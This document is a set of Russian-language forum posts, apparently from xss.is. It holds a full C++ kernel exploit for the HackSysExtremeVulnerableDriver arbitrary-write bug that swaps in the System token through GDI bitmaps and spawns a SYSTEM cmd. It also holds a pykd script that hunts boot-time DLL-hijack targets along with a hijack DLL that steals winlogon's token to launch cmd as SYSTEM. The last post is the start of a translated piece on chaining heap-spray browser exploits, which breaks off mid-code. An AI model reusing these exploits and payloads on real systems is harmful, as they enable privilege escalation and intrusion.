Осталось перезагрузить VM. После перезагрузки проверяем наличие модуля,
комадной lm m HEVD
Реверсинг
Описывать всё в подробностях я не буду, иначе это будет оффтоп. Если хотите
научиться реверсить, рекомендую [Курс реверсинга, с использованием IDA Pro от
Рикардо Нарвахи](https://wasm.in/threads/perevod-vvedenie-v-reversing-s-
nulja-ispolzuja-ida-pro.32249/), в переводе от yashechka
У этого курса своя особенная атмосфера. Очень советую, сам по нему учился.
В статье мы тоже воспользуемся IDA Pro , для реверса HEVD драйвера.
Пускай сейчас, это и не мой основной инструмент, но он объективно лучше всех
подходит под задачу.
У меня стоит версия 7.5.2
.
Первым делом, мы ищем функцию обрабатывающую IOCTL запросы.
Далее определяем ветку, отвечающую за ArbitraryWrite (Она подписана, так как в комплекте с HEVD.sys, идут .pdb символы)
Переходя в вызываемую функцию, наблюдаем следующее
Вот выдержка из тела функции:
Code:Copy to clipboard
lea edx, [rsi+10h]
lea r8d, [rsi+1] ; Alignment
call cs:__imp_ProbeForRead
mov rbx, [r14]
mov rdi, [r14+8]
mov r9, r14
lea r8, aUserwritewhatw_0 ; "[+] UserWriteWhatWhere: 0x%p\n"
lea r12d, [rsi+3]
mov edx, r12d ; Level
lea r14d, [rsi+4Dh]
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
lea r9d, [rsi+10h]
lea r8, aWriteWhatWhere ; "[+] WRITE_WHAT_WHERE Size: 0x%X\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
mov r9, rbx
lea r8, aUserwritewhatw_1 ; "[+] UserWriteWhatWhere->What: 0x%p\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
mov r9, rdi
lea r8, aUserwritewhatw ; "[+] UserWriteWhatWhere->Where: 0x%p\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
lea r8, aTriggeringArbi_0 ; "[+] Triggering Arbitrary Write\n"
mov edx, r12d ; Level
mov ecx, r14d ; ComponentId
call cs:__imp_DbgPrintEx
mov rax, [rbx]
mov [rdi], rax
jmp short loc_140085F3D
Так как HexRays под рукой, прикреплю листинг:
C:Copy to clipboard
__int64 __fastcall TriggerArbitraryWrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned __int64 *v2; // rbx
unsigned __int64 *v3; // rdi
ProbeForRead(UserWriteWhatWhere, 0x10ui64, 1u);
v2 = UserWriteWhatWhere->What;
v3 = UserWriteWhatWhere->Where;
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%X\n", 16i64);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", v2);
DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", v3);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
*v3 = *v2;
return 0i64;
}
Пользуясь моментом, обращусь к новичкам: Господа, учите ассемблер. Понятно что проще прожать F5 и получить готовый код на C, но если вы действительно хотите стать специалистом, не ленитесь и учите asm.
Говоря коротко - функция принимает структуру, первый элемент которой указывает что писать, а второй куда.
Пишем эксплойт
Создаём обычное консольное приложение, и указываем x64 release сбоку:
И первый вопрос, который возникает у многих, это: "Как я могу перезапись
небольшого кусочка памяти, превратить в полноценный LPE?"
Ответ напрашивается сам собой - Переписать какой-нибудь указатель!
Описание техники
Пользоваться будем, достаточно известной, но от этого не менее интересной
техникой использования GDI объектов.
GDI объектов много, более подробно о них можно прочитать
[тут](https://docs.microsoft.com/en-us/windows/win32/sysinfo/gdi-
objects)
Мы же, сразу перейдём к эксплуатации одного и них - Bitmap. Его структура,
представляет собой следующее:
C:Copy to clipboard
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
Нас волнует только поле pvScan0
, оно указывает на, так называемый, pixel
data - простыми словами, это хранилище данных bitmap
Доступ к pixel data, мы имеем через функции: GetBitmapBits()
и
SetBitmapBits()
План у нас следующий:
pvScan0
у каждогоpvScan0
первого bitmap, адрес pvScan0
второгоИ получаем примитив:
SetBitmapBits()
у Manager, чтобы указать адресGetBitmapBits()
или SetBitmapBits()
у Worker, для чтения/записиБолее подробное описание техники вы можете прочтитать тут:
Learn how to leverage a number of ring0 vulnerabilities and turn them into pretty reliable exploits, completely bypassing current windows kernel protection mechanisms.
![www.coresecurity.com](/proxy.php?image=https%3A%2F%2Fwww.coresecurity.com%2Fcore- labs%2Farticles%2Fabusing-gdi-for-ring0-exploit- primitives%2F&hash=a3c5e1aed2d24dad18ad3da49f6ef06c&return_error=1) www.coresecurity.com
Эту технику закрыли в обновлении Redstone 2(Windows 10 1703), но ограничение
удалось обойти. История техник ArbitraryRW в Windows, выходит за рамки этой
статьи,
так что если есть желание узнать подробнее, вот презентации:
[[1](https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%205A1F-Demystifying-
Kernel-Exploitation-By-Abusing-GDI-Objects-WP.pdf)] и
[[2](https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20Morten-
Schenk-Taking-Windows-10-Kernel-Exploitation-to-the-next-level-Leveraging-
vulns-in-Creators-Update-WP.pdf)]. Материал просто замечательный, советую к
прочтению.
Готовим примитив
Примечание: Некоторые части эксплойта я пропустил, их можно найти в полной
верии, в конце статьи
Первым делом создадим два Bitmap:
C++:Copy to clipboard
Bitmap manager = GetBitmap("Manager");
Bitmap worker = GetBitmap("Worker");
Далее получаем указатель на pvScan0 Workera, и вписываем его в pvScan0 Manager
a, вызывая нашу уязвимость:
C++:Copy to clipboard
LPVOID workerPvScan0 = &worker.pvScan0;
PUCHAR buffer = (PUCHAR)malloc(sizeof(LPVOID) * 2);
memcpy(buffer, &workerPvScan0, (sizeof(LPVOID)));
memcpy(buffer + (sizeof(LPVOID)), &manager.pvScan0, (sizeof(LPVOID)));
DWORD ret_bytes;
BOOL bResult = DeviceIoControl(hDevice,
0x22200B,
buffer,
(sizeof(LPVOID) * 2),
NULL, 0,
&ret_bytes,
(LPOVERLAPPED)NULL);
if (!bResult) {
printf("[!] Failed to send IOCTL\n\n");
CloseHandle(hDevice);
exit(1);
}
Если на этом моменте, вы перестали понимать что происходит, то прочитайте сначала о реализации эксплойтов под более простые уязвимости* HEVD** - https://xss.is/threads/30115/
Добавим функции чтения и записи
C++:Copy to clipboard
LONG Read(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen) {
SetBitmapBits(hManager, dwReadLen, &lpReadAddress); // Set Workers pvScan0 to the Address we want to read.
return GetBitmapBits(hWorker, dwReadLen, lpReadResult); // Use Worker to Read result into lpReadResult Pointer.
}
LONG Write(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen) {
SetBitmapBits(hManager, dwWriteLen, &lpWriteAddress); // Set Workers pvScan0 to the Address we want to write.
return SetBitmapBits(hWorker, dwWriteLen, &lpWriteValue); // Use Worker to Write at Arbitrary Kernel address.
}
Обходимся без шеллкода
Пожалуй самое интересное в эксплуатации уязвимости ArbitraryRW
, это то, что
мы можем обойтись без шеллкода.
В чем состоит задача, типичного Token Swap шеллкода? Правильно - поменять
местами токены. Мы же, можем обойтись без него, и сделать это, так сказать,
руками.
О видах шеллкодов, и принципах их действия, вы можете прочитать [тут](https://improsec.com/tech-blog/windows-kernel-shellcode-on- windows-10-part-1)
Получаем указатель на токен процесса System(PID4)
C++:Copy to clipboard
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LIST_ENTRY leNextProcessLink;
LPVOID lpSystemToken = NULL;
Read(manager.hBitmap, worker.hBitmap, (LPVOID)fpFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID)); //fpFunctionPointer - указатель на PsInitialSystemProcess
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2e8, &lpSysProcID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x358, &lpSystemToken, sizeof(LPVOID));
Перебираем linked-list с процессами, в поисках нашего PID
C++:Copy to clipboard
DWORD dwSysProcID = LOWORD(lpSysProcID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do {
lpNextEPROCESS = (PUCHAR)leNextProcessLink.Flink - 0x2f0;
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, &lpCurrentToken, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
} while (dwCurrentPID != GetCurrentProcessId());
А теперь просто, переписываем наш токен
C++:Copy to clipboard
Write(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, lpSystemToken, sizeof(LPVOID));
Полный код эксплоита
Я разделил полный код эксплоита на два файла, с кодом и c заголовками.
Заголовки я обычно беру либо с
Vergilius , либо из Исходников
ReactOS
Spoiler: HEVD_AO.cpp
C++:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#include "HEVD_AO.h"
struct Bitmap {
HBITMAP hBitmap;
PUCHAR pvScan0;
};
void spawn_cmd() {
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//Creating process
const wchar_t* cmd = L"C:\\Windows\\System32\\cmd.exe";
if (CreateProcess(cmd, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[+] Cmd created!\n");
}
else {
printf("[!] FATAL: Can't create cmd.exe\n");
}
return;
}
FARPROC WINAPI KernelSymbolInfo(LPCSTR lpSymbolName) {
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
LPVOID kernelBase = ModuleInfo->Module[0].ImageBase;
PUCHAR kernelImage = ModuleInfo->Module[0].FullPathName;
LPCSTR lpKernelName = (LPCSTR)(ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName);
HMODULE hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0);
if (hUserSpaceKernel == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName);
if (pUserKernelSymbol == NULL) {
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpaceKernel);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return pLiveFunctionAddress;
}
Bitmap GetBitmap(LPCSTR lpName) {
Bitmap info;
DWORD dwOffsetToPvScan0 = 0x50;
DWORD dwCounter = 0;
HACCEL hAccel;
LPACCEL lpAccel;
PUSER_HANDLE_ENTRY Address1 = NULL;
PUSER_HANDLE_ENTRY Address2 = NULL;
PUCHAR pAcceleratorAddr1 = NULL;
PUCHAR pAcceleratorAddr2 = NULL;
PSHAREDINFO pSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY gHandleTable = pSharedInfo->aheList;
DWORD index;
lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);
while (dwCounter < 20) {
hAccel = CreateAcceleratorTable(lpAccel, 700);
index = LOWORD(hAccel);
Address1 = &gHandleTable[index];
pAcceleratorAddr1 = (PUCHAR)Address1->pKernel;
DestroyAcceleratorTable(hAccel);
hAccel = CreateAcceleratorTable(lpAccel, 700);
index = LOWORD(hAccel);
Address2 = &gHandleTable[index];
pAcceleratorAddr2 = (PUCHAR)Address2->pKernel;
DestroyAcceleratorTable(hAccel);
if (pAcceleratorAddr1 == pAcceleratorAddr2) {
LPVOID lpBuf = VirtualAlloc(NULL, 0x50 * 2 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
info.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
break;
}
dwCounter++;
}
info.pvScan0 = pAcceleratorAddr1 + dwOffsetToPvScan0;
return info;
}
LONG Read(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen) {
SetBitmapBits(hManager, dwReadLen, &lpReadAddress); // Set Workers pvScan0 to the Address we want to read.
return GetBitmapBits(hWorker, dwReadLen, lpReadResult); // Use Worker to Read result into lpReadResult Pointer.
}
LONG Write(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen) {
SetBitmapBits(hManager, dwWriteLen, &lpWriteAddress); // Set Workers pvScan0 to the Address we want to write.
return SetBitmapBits(hWorker, dwWriteLen, &lpWriteValue); // Use Worker to Write at Arbitrary Kernel address.
}
void exploit() {
Bitmap manager = GetBitmap("Manager");
Bitmap worker = GetBitmap("Worker");
HANDLE hDevice = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[!] No handle to HackSysExtremeVulnerableDriver\n");
exit(1);
};
LPVOID workerPvScan0 = &worker.pvScan0;
PUCHAR buffer = (PUCHAR)malloc(sizeof(LPVOID) * 2);
memcpy(buffer, &workerPvScan0 , (sizeof(LPVOID)));
memcpy(buffer + (sizeof(LPVOID)), &manager.pvScan0, (sizeof(LPVOID)));
DWORD ret_bytes;
BOOL bResult = DeviceIoControl(hDevice,
0x22200B,
buffer,
(sizeof(LPVOID) * 2),
NULL, 0,
&ret_bytes,
(LPOVERLAPPED)NULL);
if (!bResult) {
printf("[!] Failed to send IOCTL\n\n");
CloseHandle(hDevice);
exit(1);
}
FARPROC fpFunctionAddress = KernelSymbolInfo("PsInitialSystemProcess");
if (fpFunctionAddress == NULL) {
printf("[!] Can't find memory address!\n\n");
CloseHandle(hDevice);
}
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LIST_ENTRY leNextProcessLink;
LPVOID lpSystemToken = NULL;
Read(manager.hBitmap, worker.hBitmap, (LPVOID)fpFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2e8, &lpSysProcID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpSystemEPROCESS + 0x358, &lpSystemToken, sizeof(LPVOID));
DWORD dwSysProcID = LOWORD(lpSysProcID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do {
lpNextEPROCESS = (PUCHAR)leNextProcessLink.Flink - 0x2f0;
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, &lpCurrentToken, sizeof(LPVOID));
Read(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x2f0, &leNextProcessLink, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
} while (dwCurrentPID != GetCurrentProcessId());
Write(manager.hBitmap, worker.hBitmap, (PUCHAR)lpNextEPROCESS + 0x358, lpSystemToken, sizeof(LPVOID));
printf("Enjoy system shell!\n");
spawn_cmd();
return;
}
int main() {
printf("[!] Warning: This exploit, only works on Windows 10 1607 or lower!\n");
exploit();
return 0;
}
Spoiler: HEVD_AO.h
C++:Copy to clipboard
#pragma once
#include <Windows.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _PROCESS_BASIC_INFORMATION
{
LONG ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR ParentProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
// Partial PEB
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PVOID Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ReservedBits0 : 27;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID HotpatchInformation;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps;
PVOID GdiSharedHandleTable;
} PEB, * PPEB;
typedef struct _GDICELL {
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL, * PGDICELL;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
typedef struct _LeakBitmapInfo {
HBITMAP hBitmap;
PUCHAR pBitmapPvScan0;
} LeakBitmapInfo, * pLeakBitmapInfo;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* _RtlGetVersion)(
LPOSVERSIONINFOEXW lpVersionInformation
);
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
DWORD ProcessInformationLength,
PDWORD ReturnLength
);
Spoiler: Если видео отвалится
Итог
Это моя первая, достойная авторская статья, а не просто заметка. Так что прошу
строго не судить.
Если вы с чем-то не согласны, или в статье есть ошибка, отпишите мне, я
отредактирую.
Azrv3l cпециально для xss.is
ОС : Windows 10 Enterprise x64, build 17763.55
Цель : поиск уязвимых к атаке "dll hijacking" системных компонентов на
стадии загрузки ОС
Софт : windbg + pykd, компилятор C
Во время загрузки, Windows размещает в памяти порядка 1700 различных модулей (драйвера, службы, dll), вот примерная статистика проекций от нашего ядра (не учитывая нескольких сервисов KMS и ВМ):
dll - 1489
sys - 115
exe - 120
cpl - 5
vdm - 4 (Windows Defender)
ocx - 1
drv - 1Click to expand...
Впечатляет количество dll. Среди такого множества модулей наверняка есть жучки которые остались по наследству или потерялись среди хаоса во время подготовки очередного важного обновления. Найдём их
Поставим на начало и возврат ntdll!LdrLoadDll по бряку, "активатором" которых служит одиночный nt!NtCreateUserProcess (Vista и выше). На коллбэках будем собирать нужную, для последующего определения плохишей, информацию (pid, процесс, dll):
Python:Copy to clipboard
from pykd import *
class hook_LdrLoadDll(eventHandler):
def __init__(self):
self.bp_creat_proc = setBp(module('nt').NtCreateUserProcess, self.cb_creat_proc)
def cb_creat_proc(self):
self.bp_creat_proc.remove()
self.pLdrLoadDll = module('ntdll').LdrLoadDll
self.bp_begin = setBp(self.pLdrLoadDll, self.cb_begin)
self.bp_end = None
return False
def cb_begin(self):
eproc = self.get_current_eprocess()
print '[{}] {}: {}'.format(int(eproc.UniqueProcessId),
loadCStr(eproc.ImageFileName),
loadUnicodeString(reg('r8')))
if not self.bp_end:
offset = 0
while 1:
d = disasm(self.pLdrLoadDll + offset)
if d.instruction().find('ret') >= 0:
break
offset += d.length()
self.bp_end = setBp(self.pLdrLoadDll + offset, self.cb_end)
return False
def cb_end(self):
rax = reg('rax')
eproc = self.get_current_eprocess()
print '[{}] {}: {}'.format(int(eproc.UniqueProcessId),
loadCStr(eproc.ImageFileName),
('ERROR (%X)' % rax, 'OK')[not rax])
return False
def get_current_eprocess(self):
return typedVar('nt!_EPROCESS', int(dbgCommand('r $proc').split('=')[1], 16))
h = hook_LdrLoadDll()
go()
прототип ntdll!LdrLoadDll и x64 ABI подсказка:
NTSTATUS LdrLoadDll(PWCHAR PathToFile, ULONG Flags, PUNICODE_STRING ModuleFileName, PHANDLE ModuleHandle);
begin
rcx = PathToFile
rdx = Flags
r8 = ModuleFileName (логируем)
r9 = ModuleHandleend
rax = код возврата (0 == успех)Click to expand...
запускаем код и ожидаем вплоть до загрузки рабочего стола где и прерываем работу скрипта. С моим COM-портом процесс длился 1.5 часа.
после отбора всех строк со STATUS_DLL_NOT_FOUND (rax == 0xC0000135) и их тестирования, можно сделать вывод:
тестовая dll для запуска процесса из службы:
C:Copy to clipboard
#include <windows.h>
#include <tlhelp32.h>
DWORD get_pid_by_name(PWCHAR name)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W pe;
pe.dwSize = sizeof pe;
if (!Process32FirstW(hSnapshot, &pe)) {
CloseHandle(hSnapshot);
return 0;
}
DWORD pid = 0;
do {
if (!lstrcmpW(pe.szExeFile, name)) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe));
CloseHandle(hSnapshot);
return pid;
}
BOOL create_system_process(PWCHAR name)
{
HANDLE hWinlogon = OpenProcess(MAXIMUM_ALLOWED, 0, get_pid_by_name(L"winlogon.exe"));
if (!hWinlogon)
return FALSE;
HANDLE hToken;
if (!OpenProcessToken(hWinlogon, TOKEN_DUPLICATE, &hToken)) {
CloseHandle(hWinlogon);
return FALSE;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof sa;
HANDLE hNewToken;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, &sa, SecurityIdentification, TokenPrimary, &hNewToken)) {
CloseHandle(hToken);
CloseHandle(hWinlogon);
return FALSE;
}
STARTUPINFOW si;
__stosb((PBYTE)&si, 0, sizeof si);
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
si.lpDesktop = L"winsta0\\default";
BOOL result = CreateProcessAsUserW(hNewToken, name, NULL, &sa, &sa, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (result) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
CloseHandle(hNewToken);
CloseHandle(hToken);
CloseHandle(hWinlogon);
return result;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
create_system_process(L"C:\\Windows\\System32\\cmd . exe");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Единственное требование для эксплуатации - запись в System32 (нужны права
администратора, но это, как мы понимаем, не проблема).
Уверен, прежние версии так само подвержены атаке.
[c] bank.sy
Предисловие: перевод несколько вольный, к тому же я не имею досконального знакомства с темой и что-то мог перевести неправильно; в частности, я не был уверен, как переводить термин "heap spray". Если вы заметите явные неточности
Сплавка эксплойтов - составное использование
Исследовательская команда: Legion Of XTRemers, Индия
Особый привет SECFENCE TEAM и GARAGE 4 HACKERS
Сложно с чем-то сравнить значимость шанса "пробить" конкретную жертву. И хакер
никогда не упустит такой шанс. В таких случаях, обычные способы зачастую не
срабатывают. Но почему? Обычно стараются "пробить" всё, что можно, и сцепляют
несколько эксплойтов для увеличения шансов выполнения удалённого кода. Но в
некоторых случаях нельзя предугалать, какие уязвимые продукты используются на
целевой машине. Случаи, требующие конкретного эксплойта требует дополнительных
ресурсов, и 1 несработавший эксплойт может запороть всё дело. Такая ситуация
обычно встречается с эксплойтами типа heap spray (" хип спрей", "спрей кучи"
или "распыление кучи" - прим. переводчика). Хотя есть несколько других, к
которым это применимо.
В этой статье будет обсуждено слияние эксплойтов типа хип спрей таким образом,
чтобы они исполнялись под "одной крышей" (делили ресурсы). Некоторые
уязвимости, запускаемые через JS и не нуждающиеся в дополнительных плагинах
или ActiveX компонентах, наиболее просты для последовательного запуска. Но в
случае сплавленных эксплойтов, использующих ActiveX или плагины, нужно решить
несколько проблем перед использованием уязвимости.
В этой статье я собираюсь сплавить эксплойт Apple QuickTime Marshalled pUnk и
зеродей Adobe-а.
Код Apple QuickTime Marshalled pUnk
Code:Copy to clipboard
<script language=javascript>
addr = 354552864; // 0x15220C20 [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
document.write(obj);
</script>
И использование уязвимости rcsL chunk memory corruption для Shockwave Player:
Code:Copy to clipboard
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=shockit width=600 height=430 VIEWASTEXT>
